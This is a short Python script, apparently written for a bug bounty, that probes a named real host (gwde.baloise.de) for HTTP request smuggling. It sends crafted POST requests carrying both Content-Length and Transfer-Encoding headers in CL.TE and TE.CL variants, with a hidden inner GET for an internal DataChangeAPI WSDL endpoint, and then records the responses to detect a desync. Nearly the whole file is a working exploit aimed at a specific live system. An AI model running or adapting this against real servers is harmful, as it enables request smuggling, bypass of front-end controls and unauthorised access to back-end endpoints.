#!/usr/bin/env python3
import socket,ssl,time,re,json,sys
HOST='gwde.baloise.de'; PORT=443
marker=f'bb{int(time.time())}'
inner=(
 f'GET /pc/ws/gw/wsi/pl/DataChangeAPI?wsdl&bb={marker} HTTP/1.1\r\n'
 f'Host: {HOST}\r\n'
 'X-Bug-Bounty: dwbzn\r\n'
 'Connection: keep-alive\r\n\r\n'
).encode()
follow=(
 f'GET /error_path/maintenance.html?follow={marker} HTTP/1.1\r\n'
 f'Host: {HOST}\r\n'
 'X-Bug-Bounty: dwbzn\r\n'
 'Connection: close\r\n\r\n'
).encode()
def req_head(cl):
 return (
  'POST /error_path/maintenance.html HTTP/1.1\r\n'
  f'Host: {HOST}\r\n'
  'X-Bug-Bounty: dwbzn\r\n'
  'Content-Type: application/x-www-form-urlencoded\r\n'
  f'Content-Length: {cl}\r\n'
  'Transfer-Encoding: chunked\r\n'
  'Connection: keep-alive\r\n\r\n'
 ).encode()
def run(name,payload):
 ctx=ssl.create_default_context(); ctx.set_alpn_protocols(['http/1.1'])
 raw=socket.create_connection((HOST,PORT),timeout=5)
 s=ctx.wrap_socket(raw,server_hostname=HOST)
 s.settimeout(4)
 t0=time.time(); s.sendall(payload)
 time.sleep(.15); s.sendall(follow)
 chunks=[]
 while True:
  try:
   b=s.recv(65536)
   if not b: break
   chunks.append(b)
   if sum(map(len,chunks))>500000: break
  except socket.timeout: break
 try:s.close()
 except:pass
 data=b''.join(chunks)
 open(f'work/scratch/gwde-desync-{name}.bin','wb').write(data)
 statuses=[x.decode('latin1') for x in re.findall(br'HTTP/1\.[01] [0-9]{3}[^\r\n]*',data)]
 locations=[x.decode('latin1','replace') for x in re.findall(br'(?im)^Location:.*$',data)]
 print(json.dumps({'name':name,'marker':marker,'elapsed':round(time.time()-t0,3),'bytes':len(data),'statuses':statuses,'locations':locations[:10],'wsdl':b'wsdl:definitions' in data.lower() or b'<definitions' in data.lower(),'datachange':b'DataChangeAPI' in data},ensure_ascii=False))
 print(data[:1200].decode('latin1','replace'))
# CL.TE: frontend CL consumes all; backend TE ends at zero then sees inner request.
clte_body=b'0\r\n\r\n'+inner
run('clte',req_head(len(clte_body))+clte_body)
# TE.CL: frontend TE consumes chunk; backend CL consumes only the chunk-size line then sees inner request.
chunk=(f'{len(inner):x}\r\n'.encode()+inner+b'\r\n0\r\n\r\n')
run('tecl',req_head(len(f'{len(inner):x}\r\n'))+chunk)
